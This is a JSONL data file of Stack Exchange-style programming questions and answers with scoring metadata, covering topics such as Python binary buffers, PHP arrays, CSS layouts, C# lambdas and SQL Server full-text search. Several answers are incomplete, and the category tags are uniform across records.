{"id": "hf_2bf26f1717c2", "question": "<p>In Python you can use <a href=\"https://docs.python.org/library/struct.html\" rel=\"noreferrer\">StringIO</a> for a file-like buffer for character data. <a href=\"https://docs.python.org/library/mmap.html\" rel=\"noreferrer\">Memory-mapped file</a> basically does similar thing for binary data, but it requires a file that is used as the basis. Does Python have a file object that is intended for binary data and is memory only, equivalent to Java's <a href=\"http://java.sun.com/javase/6/docs/api/java/io/ByteArrayOutputStream.html\" rel=\"noreferrer\">ByteArrayOutputStream</a>?</p>\n\n<p>The use-case I have is I want to create a ZIP file in memory, and <a href=\"https://docs.python.org/library/zipfile.html\" rel=\"noreferrer\">ZipFile</a> requires a file-like object.</p>\n", "question_body": "", "answer": "Look at the struct package:\nhttps://docs.python.org/library/struct.html\n, it allows you to interpret strings as packed binary data.\nNot sure if this will completely answer your question but you can use struct.unpack() to convert binary data to python objects.\n```\n```\nimport struct\nf = open(filename, \"rb\")\ns = f.read(8)\nx, y = struct.unpack(\">hl\", s)\n```\n```\nint this example, the \">\" tells to read big-endian the \"h\" reads a 2-byte short, and the \"l\" is for a 4-byte long. you can obviously change these to whatever you need to read out of the binary data...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:00.978724"}
{"id": "hf_21e4c0ee4fa8", "question": "<p>Is it possible to create images with PHP (as opposed to simply linking to them via HTML) and if so, where should I go first to learn about such a thing?</p>\n", "question_body": "", "answer": "Yes this is possible. I believe there are multiple libraries to accomplish this. The most widely used is probably\nImageMagick\nwhich is actually not PHP specific but comes with appropriate bindings.\nSee also in the\nPHP documentation\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.003245"}
{"id": "hf_c3311b485f39", "question": "<ul>\n<li>What types of applications have you used <a href=\"http://en.wikipedia.org/wiki/Model_checking\" rel=\"noreferrer\">model checking</a> for?</li>\n<li>What model checking tool did you use?</li>\n<li>How would you summarize your experience w/ the technique, specifically in evaluating its effectiveness in delivering higher quality software? </li>\n</ul>\n\n<p>In the course of my studies, I had a chance to use <a href=\"http://spinroot.com/spin/whatispin.html\" rel=\"noreferrer\">Spin</a>, and it aroused my curiosity as to how much actual model checking is going on and how much value are organizations getting out of it. In my work experience, I've worked on business applications, where there is (naturally) no consideration of applying formal verification to the logic. I'd really like to learn about SO folks model checking experience and thoughts on the subject. Will model checking ever become a more widely used developing practice that we should have in our toolkit?</p>\n", "question_body": "", "answer": "I just finished a class on model checking and the big tools we used were\nSpin\nand\nSMV\n. We ended up using them to check properties on common synchronization problems, and I found SMV just a little bit easier to use.\nAlthough these tools were fun to use, I think they really shine when you combine them with something that dynamically enforces constraints on your program (so that it's a bit easier to verify 'useful' things about your program). We ended up taking the\nSpring WebFlow framework\n, which uses XML to write a state-machine like file that specifies which web pages can transition to which other ones, and using SMV to be able to perform verification on said applications (\nshameless plug here\n).\nTo answer your last question, I think model checking is definitely useful to have, but I lean more towards using unit testing as a technique that makes me feel comfortable about delivering my final product.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.039551"}
{"id": "hf_752d238c9743", "question": "<p>I have two arrays of animals (for example).</p>\n\n<pre><code>$array = array(\n    array(\n        'id' =&gt; 1,\n        'name' =&gt; 'Cat',\n    ),\n    array(\n        'id' =&gt; 2,\n        'name' =&gt; 'Mouse',\n    )\n);\n\n$array2 = array(\n    array(\n        'id' =&gt; 2,\n        'age' =&gt; 321,\n    ),\n    array(\n        'id' =&gt; 1,\n        'age' =&gt; 123,\n    )\n);\n</code></pre>\n\n<p>How can I merge the two arrays into one by the ID?</p>\n", "question_body": "", "answer": "First off, why don't you use the ID as the index (or key, in the mapping-style array that php arrays are imo)?\n```\n```\n$array = array(\n    1 => array(\n        'name' => 'Cat',\n    ),\n    2 => array(\n        'name' => 'Mouse',\n    )\n);\n```\n```\nafter that you'll have to foreach through one array, performing array_merge on the items of the other:\n```\n```\nforeach($array2 as $key=>$value) {\n  if(!is_array($array[$key])) $array[$key] = $value;\n  else $array[$key] = array_merge($array[key], $value); \n}\n```\n```\nSomething like that at least. Perhaps there's a better solution?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.075979"}
{"id": "hf_05730c217fa0", "question": "<p>I'm rewriting an old application and use this as a good opportunity to try out C# and .NET development (I usually do a lot of plug-in stuff in C).</p>\n\n<p>The application is basically a timer collecting data. It has a start view with a button to start the measurement. During the measurement the app has five different views depending on what information the user wants to see.</p>\n\n<p>What is the best practice to switch between the views?\nFrom start to running?\nBetween the running views?</p>\n\n<p>Ideas:</p>\n\n<ul>\n<li>Use one form and hide and show controls</li>\n<li>Use one start form and then a form with a TabControl</li>\n<li>Use six separate forms</li>\n</ul>\n", "question_body": "", "answer": "Tabbed forms are usually good... but only if you want the user to be able to see any view at any time... and it sounds like you might not.\nSeparate forms definitely works, but you need to make sure that the switch is seemless...if you make sure the new form appears the same exact size and location of the old form, it will look like it thew same for with changing controls.\nThe method I often use is actually to pre-setup all my controls on individual \"Panel\" controls and then show and hide these panels as I need them.  The \"Panel\" control is basically a control container... you can move the panel and all controls on it move relative.  And if you show or hide the panel, the controls on it do the same.  They are great for situations like this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.100145"}
{"id": "hf_96a88388226c", "question": "<p>I have an image and on it are logos (it's a map), I want to have a little box popup with information about that logo's location when the user moves their mouse over said logo.</p>\n\n<p>Can I do this without using a javascript framework and if so, are there any small libraries/scripts that will let me do such a thing?</p>\n", "question_body": "", "answer": "A single image alone doesn't give the browser the semantic information on the logos within. You could use an\nimage map\nto supply the coordinates. To achieve tooltips, just apply a\n```\ntitle\n```\nattribute to each link. For more sophisticated tooltips (such as with styling, multiple lines, etc.), you'll need something non-standard, such as\nUniTip\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.124009"}
{"id": "hf_43d166571783", "question": "<p>I've used the PHP MVC framework Symfony to build an on-demand web app.</p>\n\n<p>It has an annoying bug - the session expires after about 15-30 minutes of inactivity. There is a config directive to prevent session expiration but it does not work. Even workarounds such as <a href=\"http://robrosenbaum.com/php/howto-disable-session-timeout-in-symfony/\" rel=\"nofollow noreferrer\">this one</a> did not help me.</p>\n\n<p>I intend not to migrate to Symfony 1.1 (which fixes this bug) in the foreseeable future.</p>\n\n<p>Has anyone been there and solved it? I would be most grateful for a hint or two!</p>\n", "question_body": "", "answer": "The company I work for has been using Symfony and the workaround that we've used is to trigger a warning with javascript before the user gets logged out. I suspect that there is a a way to make 'heartbeat' ajax calls to the server to trigger the timer to reset, but that may be a lot of trouble. I think that there may not be a full fix that's suitable for you though, except maybe re-writing the session handler.\nSorry I couldn't be more specific, if I get the chance, I'll ask our Symfony devs if they know of a better solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.153442"}
{"id": "hf_6db042b3d3d8", "question": "<p>I have a postgres database with a user table (userid, firstname, lastname) and a usermetadata table (userid, code, content, created datetime). I store various information about each user in the usermetadata table by code and keep a full history. so for example, a user (userid 15) has the following metadata:</p>\n\n<pre><code>15, 'QHS', '20', '2008-08-24 13:36:33.465567-04'  \n15, 'QHE', '8', '2008-08-24 12:07:08.660519-04'  \n15, 'QHS', '21', '2008-08-24 09:44:44.39354-04'  \n15, 'QHE', '10', '2008-08-24 08:47:57.672058-04'  \n</code></pre>\n\n<p>I need to fetch a list of all my users and the most recent value of each of various usermetadata codes. I did this programmatically and it was, of course godawful slow. The best I could figure out to do it in SQL was to join sub-selects, which were also slow and I had to do one for each code.</p>\n", "question_body": "", "answer": "I suppose you're not willing to modify your schema, so I'm afraid my answe might not be of much help, but here goes...\nOne possible solution would be to have the time field empty until it was replaced by a newer value, when you insert the 'deprecation date' instead. Another way is to expand the table with an 'active' column, but that would introduce some redundancy.\nThe classic solution would be to have both 'Valid-From' and 'Valid-To' fields where the 'Valid-To' fields are blank until some other entry becomes valid. This can be handled easily by using triggers or similar. Using constraints to make sure there is only one item of each type that is valid will ensure data integrity.\nCommon to these is that there is a single way of determining the set of current fields. You'd simply select all entries with the active user and a NULL 'Valid-To' or 'deprecation date' or a true 'active'.\nYou might be interested in taking a look at the Wikipedia entry on\ntemporal databases\nand the article\nA consensus glossary of temporal database concepts\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.213124"}
{"id": "hf_e1193241e6da", "question": "<p>I have a couple of files containing a value in each line.</p>\n\n<p><strong>EDIT :</strong></p>\n\n<p>I figured out the answer to this question while in the midst of writing the post and didn't realize I had posted it by mistake in its incomplete state.</p>\n\n<p>I was trying to do:</p>\n\n<pre><code>paste -d ',' file1 file2 file 3 file 4 &gt; file5.csv\n</code></pre>\n\n<p>and was getting a weird output. I later realized that was happening because some files had both a carriage return and a newline character at the end of the line while others had only the newline character. I got to always remember to pay attention to those things.\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "you probably need to clarify or retag your question but as it stands the answer is below.\njoining two files under Linux\n```\n```\ncat filetwo >> fileone\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.237489"}
{"id": "hf_1dc0a027f8d9", "question": "<blockquote>\n  <p>What's the best way to make an element of 100% minimum height across a\n  wide range of browsers ?</p>\n</blockquote>\n\n<p>In particular if you have a layout with a <code>header</code> and <code>footer</code> of fixed <code>height</code>,</p>\n\n<p>how do you make the middle content part fill <code>100%</code> of the space in between with the <code>footer</code> fixed to the bottom ?</p>\n", "question_body": "", "answer": "I am using the following one:\nCSS Layout - 100 % height\nMin-height\nThe #container element of this page has a min-height of 100%. That\n  way, if the content requires more height than the viewport provides,\n  the height of #content forces #container to become longer as well.\n  Possible columns in #content can then be visualised with a background\n  image on #container; divs are not table cells, and you don't need (or\n  want) the physical elements to create such a visual effect. If you're\n  not yet convinced; think wobbly lines and gradients instead of\n  straight lines and simple color schemes.\nRelative positioning\nBecause #container has a relative position, #footer will always remain\n  at its bottom; since the min-height mentioned above does not prevent\n  #container from scaling, this will work even if (or rather especially when) #content forces #container to become longer.\nPadding-bottom\nSince it is no longer in the normal flow, padding-bottom of #content\n  now provides the space for the absolute #footer. This padding is\n  included in the scrolled height by default, so that the footer will\n  never overlap the above content.\nScale the text size a bit or resize your browser window to test this\n  layout.\n```\n```\nhtml,body {\n    margin:0;\n    padding:0;\n    height:100%; /* needed for container min-height */\n    background:gray;\n\n    font-family:arial,sans-serif;\n    font-size:small;\n    color:#666;\n}\n\nh1 { \n    font:1.5em georgia,serif; \n    margin:0.5em 0;\n}\n\nh2 {\n    font:1.25em georgia,serif; \n    margin:0 0 0.5em;\n}\n    h1, h2, a {\n        color:orange;\n    }\n\np { \n    line-height:1.5; \n    margin:0 0 1em;\n}\n\ndiv#container {\n    position:relative; /* needed for footer positioning*/\n    margin:0 auto; /* center, not in IE5 */\n    width:750px;\n    background:#f0f0f0;\n\n    height:auto !important; /* real browsers */\n    height:100%; /* IE6: treaded as min-height*/\n\n    min-height:100%; /* real browsers */\n}\n\ndiv#header {\n    padding:1em;\n    background:#ddd url(\"../csslayout.gif\") 98% 10px no-repeat;\n    border-bottom:6px double gray;\n}\n    div#header p {\n        font-style:italic;\n        font-size:1.1em;\n        margin:0;\n    }\n\ndiv#content {\n    padding:1em 1em 5em; /* bottom padding for footer */\n}\n    div#content p {\n        text-align:justify;\n        padding:0 1em;\n    }\n\ndiv#footer {\n    position:absolute;\n    width:100%;\n    bottom:0; /* stick to bottom */\n    background:#ddd;\n    border-top:6px double gray;\n}\ndiv#footer p {\n    padding:1em;\n    margin:0;\n}\n```\n```\nWorks fine for me.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.262139"}
{"id": "hf_1916445451ef", "question": "<p>How do you unit test a <code>HttpModule</code> in asp.net given that <code>HttpApplication</code> and <code>HttpContext</code> do no implement an interface ?</p>\n", "question_body": "", "answer": "In the past before moving to ASP.NET MVC, I used\nthis library\nPhil Haack created for Unit Testing anything that used the HttpApplication and HttpContext.  It in turned used a\nDuck Typing library\n.\nUnfortunately, this was the best way to do it.  ASP.NET was not made to be easily testable.  When they worked on ASP.NET MVC, one of the goals is to get rid of these headaches by making the framework more testable.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.299376"}
{"id": "hf_0ea2819f7183", "question": "<p>Has anybody out there used the <a href=\"http://www.swig.org/exec.html\" rel=\"noreferrer\">SWIG</a> library with C#?  If you have, what pitfalls did you find and what is the best way to use the library?  I am thinking about using it as a wrapper for a program that was written in C and I want to wrap the header files where I can use them in my .NET application.</p>\nEdit:  Some clarification on target OS's.\n<p>I plan on running the application on Linux and Windows, therefore the reason I am looking into SWIG.  P/Invoke is not an option.</p>\n", "question_body": "", "answer": "I did attempt to use SWIG to wrap a project C++ for using in .NET a few years ago.\nI didn't get very far as it was a massive giant pain to produce the configuration that SWIG required. At the time I just wanted a solution, not to learn another language/api/etc. SWIG may be easier to use these days, I couldn't tell you.\nWe ended up using Managed C++ to wrap the C++ project. It worked really well.\nIf you're just invoking functions straight out of a dll, I'd suggest not worrying about either of the above, and just using\nP/Invoke", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.348050"}
{"id": "hf_00bcd53e0594", "question": "<p>There is a <a href=\"https://web.archive.org/web/20081014140251/http://stackoverflow.uservoice.com:80/pages/general/suggestions/16644\" rel=\"nofollow noreferrer\">request</a> to make the SO search default to an AND style functionality over the current OR when multiple terms are used.</p>\n<p>The official response was:</p>\n<blockquote>\n<p>not as simple as it sounds; we use SQL Server 2005's <a href=\"https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2005/ms176078%28v=sql.90%29\" rel=\"nofollow noreferrer\">FREETEXT()</a> function, and I can't find a way to specify AND vs. OR -- can you?</p>\n</blockquote>\n<p>So, is there a way?</p>\n<p>There are a <a href=\"https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2005/ms142519%28v=sql.90%29\" rel=\"nofollow noreferrer\">number of resources</a> on it I can find, but I am not an expert.</p>\n", "question_body": "", "answer": "As far as I've seen, it is\nnot\npossible to do AND when using FREETEXT() under SQL 2005 (nor 2008, afaik).\nA FREETEXT query ignores Boolean, proximity, and wildcard operators by design. However you could do this:\n```\n```\nWHERE FREETEXT('You gotta love MS-SQL') > 0\n AND FREETEXT('You gotta love MySQL too...') >  0\n```\n```\nOr that's what I think :)\n-- The idea is make it evaluate to Boolean, so you can use boolean operators. Don't know if this would give an error or not. I think it\nshould\nwork. But reference material is pointing to the fact that this is not possible by design.\nThe use of CONTAINS() instead of FREETEXT() could help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.384630"}
{"id": "hf_fe98758eb8f3", "question": "<p>I would like to use <code>as</code> and <code>is</code> as members of an enumeration. I know that this is possible in VB.NET to write it like this:</p>\n\n<pre><code>Public Enum Test\n    [as] = 1\n    [is] = 2\nEnd Enum\n</code></pre>\n\n<p>How do I write the equivalent statement in C#?\nThe following code does not compile:</p>\n\n<pre><code>public enum Test\n{\n    as = 1,\n    is = 2\n}\n</code></pre>\n", "question_body": "", "answer": "Prefixing reserved words in C# is done with @.\n```\n```\npublic enum Test\n{\n    @as = 1,\n    @is = 2\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.420435"}
{"id": "hf_f6edc8d308b8", "question": "<p>I'm looking for an existing library to summarize or paraphrase content (I'm aiming at blog posts) - any experience with existing natural language processing libraries?</p>\n\n<p>I'm open to a variety of languages, so I'm more interested in the abilities &amp; accuracy.</p>\n", "question_body": "", "answer": "Your getting into really far out AI type domain. I have done extensive work in text transformation into machine knowledge mainly using Attempto Controlled English (see:\nhttp://attempto.ifi.uzh.ch/site/\n), it is a natural language (english) that is completely computer processable into several different ontologies, such as OWLDL.\nSeems like that would we way overkill though...\nIs there a reason for not just taking the first few sentences of your blog post and then appending an ellipse for your summary?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.456050"}
{"id": "hf_c1eecac8a81e", "question": "<p>I am familiar with nunit for unit testing of the business layer however I am looking now to automate the test of the win forms gui layer.  </p>\n\n<p>I have seen <a href=\"http://watin.sourceforge.net/\" rel=\"noreferrer\">watin</a> and the watin recorder for automating tests on web application by accessing the controls and automating them. However I am struggling to find a watin equivalent for windows forms (written in c# or vb.net) preferably that is open source.    </p>\n\n<p>Does one exist or are all products based on recording mouse and keyboard presses?</p>\n\n<p><strong>Update:</strong> I have looked at this <a href=\"http://blog.benhall.me.uk/2008/02/project-white-automated-ui-testing.html\" rel=\"noreferrer\">blog post on white</a> and it seems the sort of thing I am looking for. The blog post raises some issues but as white is only in version 0.6 these may be resolved. Be interested if others have used white or any others for comparison. </p>\n", "question_body": "", "answer": "AutomatedQA's TestComplete\nis a good testing application to automate GUI testing.  It supports more than just Windows Forms also, so you can reuse it for other applications.  It is not open source and this is the best that I have found.  I haven't seen an open source equivalent to WatiN.  It does have a free trial, for you decide if you like it or not.  The main reason I went with it, is that it really is cost effective, compared to other testing applications.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.480518"}
{"id": "hf_3dc419c08cec", "question": "<p>I have a string that has some Environment.Newline in it. I'd like to strip those from the string and instead, replace the Newline with something like a comma. </p>\n\n<p>What would be, in your opinion, the best way to do this using C#.NET 2.0?</p>\n", "question_body": "", "answer": "The best way is the builtin way: Use\n```\nstring.Replace\n```\n. Why do you need alternatives?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.507771"}
{"id": "hf_883578cb07bf", "question": "<p>Does .NET come with a class capable of representing extremely large integers, such as 100 factorial?  If not, what are some good third party libraries to accomplish this?</p>\n", "question_body": "", "answer": ".NET has a BigInteger class, but it is internal, unfortunately. However, several places have their own. You can grab an implementation from IronPython, or the one from CodeProject, or from Visual J#. I have to say, I've not tried these myself, so I don't know which one is the best.\nhttp://www.codeplex.com/IronPython\nhttp://www.codeproject.com/KB/cs/biginteger.aspx\nhttp://msdn.microsoft.com/en-us/magazine/cc163696.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.556403"}
{"id": "hf_5a451aa4fc33", "question": "<p>I've read that Lambda Expressions are an incredibly powerful addition to C#, yet I find myself mystified by them. How can they improve my life or make my code better? Can anyone point to a good resource for learning such expressions?</p>\n\n<p>They seem cool as hell, but how do they relate to my day-to-day life as an asp.net developer?</p>\n\n<p>Edit: Thanks for the examples, and thanks for the link to Eric White's articles. I'm still digesting those now. One quick question: are lambda expressions useful for anything other than querying? Every example I've seen has been a query construct.</p>\n", "question_body": "", "answer": "Lambdas bring functional programing to C#.\nThey are anonymous functions that can be passed as values to certain other functions.  Used most in LINQ.\nHere is a contrived example:\n```\n```\nList<int> myInts = GetAll();\nIEnumerable<int> evenNumbers = myInts.Where(x => x % 2 == 0);\n```\n```\nNow when you foreach through evenNumbers the lamda\n```\n```\nx=> x % 2 == 0\n```\n```\nis then applied as a filter to myInts.\nThey become really useful in increasing readability to complicated algorithms that would have many nested IF conditionals and loops.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.580729"}
{"id": "hf_c2827f28594a", "question": "<p>Many frameworks seek to abstract away from HTML (custom tags, JSFs component system) in an effort to make dealing with that particular kettle of fish easier.</p>\n\n<p>Is there anything you folks have used that has a similar concept applied to CSS? Something that does a bunch of cross-browser magic for you, supports like variables (why do I have to type #3c5c8d every time I want that colour), supports calculated fields (which are 'compiled' into CSS and JS), etc.</p>\n\n<p>Alternatively, am I even thinking about this correctly? Am I trying to push a very square block through a very round hole? </p>\n", "question_body": "", "answer": "What I found works best is to really learn CSS. I mean\nreally\nlearn CSS.\nIt can be a confusing language to learn, but if you read enough about it and practice, eventually you'll learn the best way to do things.\nThe key is to do it enough that it comes natural. CSS can be very elegant if you know what you want to do before you start and you have enough experience to do it.\nGranted, it is also a major PITA to do sometimes, but even cross-browser issues aren't so bad if you\nreally\npractice at it and learn what works and what doesn't, and how to get around problems.\nAll it takes is practice and in time you can become good at it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.642311"}
{"id": "hf_d0fcde18f0de", "question": "<p>I constantly hear how bad reflection is to use. While I generally avoid reflection and rarely find situations where it is impossible to solve my problem without it, I was wondering...   </p>\n\n<p>For those who have used reflection in applications, have you measured performance hits and, is it really so bad?</p>\n", "question_body": "", "answer": "It is. But that depends on what you're trying to do.\nI use reflection to dynamically load assemblies (plugins) and its performance \"penalty\" is not a problem, since the operation is something I do during startup of the application.\nHowever, if you're reflecting inside a series of nested loops with reflection calls on each, I'd say you should revisit your code :)\nFor \"a couple of time\" operations, reflection is perfectly acceptable and you won't notice any delay or problem with it. It's a very powerful mechanism and it is even used by .NET, so I don't see why you shouldn't give it a try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.678352"}
{"id": "hf_e1afab411086", "question": "<p>Is it possible to call a stored procedure from another stored procedure asynchronously?</p>\n\n<p><strong>Edit:</strong> Specifically I'm working with a DB2 database.\n­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­</p>\n", "question_body": "", "answer": "Executive summary:  Yes, if your database has a message queue service.\nYou can push a message onto a queue and the queue processor will consume it asynchronously.\nOracle: queues\nSql Server: service broker\nDB2: event broker\nFor \"pure\" stored procedure languages (PL/Sql or T-Sql) the answer is no, since it works against the fundamental transaction model most databases have.\nHowever, if your database has a queuing mechanism, you can use that to get the same result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.702412"}
{"id": "hf_bdda154e1d29", "question": "<p>What would be the Master Pages equivalent in the Java web development world?  I've heard of Tiles, Tapestry and Velocity but don't know anything about them.  Are they as easy to use as Master Pages?  </p>\n\n<p>I want something as easy as set up one template and subsequent pages derive from the template and override content regions, similar to Master Pages.</p>\n\n<p>Any examples would be great!!</p>\n", "question_body": "", "answer": "First, the equivalent of ASP.Net in Java is going to be a web framework, such as the ones you mention (Tiles, Tapestry and Velocity).\nMaster pages give the ability to define pages in terms of content slotted into a master template.\nMaster pages are a feature of ASP.Net (the .Net web framework), so you are looking for a feature similar to master pages in a Java web framework.\nhttp://tiles.apache.org/framework/tutorial/basic/pages.html\ngives some basic examples using Tiles and JSP to implement something similar with Struts, a Java web framework.  In this case, the Master Pages functionality is a plugin on top of Struts.\nVelocity is a generic templating engine, not specialized for web pages and definitely more complicated than you need.  (I've seen it used for code generation.)\nTapestry is more of a full featured web stack than Tile, and is probably good for your purposes.  Its templating functionality involves creating a component and putting all common markup in that.  An example is at\nhttp://www.infoq.com/articles/tapestry5-intro\n.\nThe specifics of this differ based on which Java web framework you choose.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.775060"}
{"id": "hf_6000d15bd98f", "question": "<p>Is there a way to shutdown a computer using a built-in Java method?</p>\n", "question_body": "", "answer": "Create your own function to execute an OS command through the\ncommand line\n?\nFor the sake of an example. But know where and why you'd want to use this as others note.\n```\n```\npublic static void main(String arg[]) throws IOException{\n    Runtime runtime = Runtime.getRuntime();\n    Process proc = runtime.exec(\"shutdown -s -t 0\");\n    System.exit(0);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.884674"}
{"id": "hf_8abcb829e61b", "question": "<p>I want to programatically create an NSTextView. How can I determine the correct frame height so that the view displays one line of text in the current default font?</p>\n", "question_body": "", "answer": "The NSFont class has a method that can give you the size of a rectangle that would enclose a specific attributed string.  Get the font used by your text view, create a string that serves as a reasonable example of what will be in the text view, and use that to inform your frame height.  (The frame height will need to be some number of points larger than the actual rectangle the string would be displayed in.)\nAlternately, you can get the various metrics from the font and attempt to calculate a reasonable frame from that.  That might or might not work; for example, a font like Apple Chancery has a huge amount of variation depending on the glyphs that are being rendered, where they are in a word, and so on; I don't know that you can calculate what the needed size would be in advance without knowing exactly what you were going to render.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.932955"}
{"id": "hf_284cd3652a81", "question": "<p>Is there any way to apply an attribute to a model file in ASP.NET Dynamic Data to hide the column?</p>\n\n<p>For instance, I can currently set the display name of a column like this:</p>\n\n<pre><code>[DisplayName(\"Last name\")]\npublic object Last_name { get; set; }\n</code></pre>\n\n<p>Is there a similar way to hide a column?</p>\n\n<p><strong>Edit</strong>: Many thanks to Christian Hagelid for going the extra mile and giving a spot-on answer :-)</p>\n", "question_body": "", "answer": "Had no idea what ASP.NET Dynamic Data was so you promted me to so some research :)\nLooks like the property you are looking for is\n```\n```\n[ScaffoldColumn(false)]\n```\n```\nThere is also a similar property for tables\n```\n```\n[ScaffoldTable(false)]\n```\n```\nsource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:01.960566"}
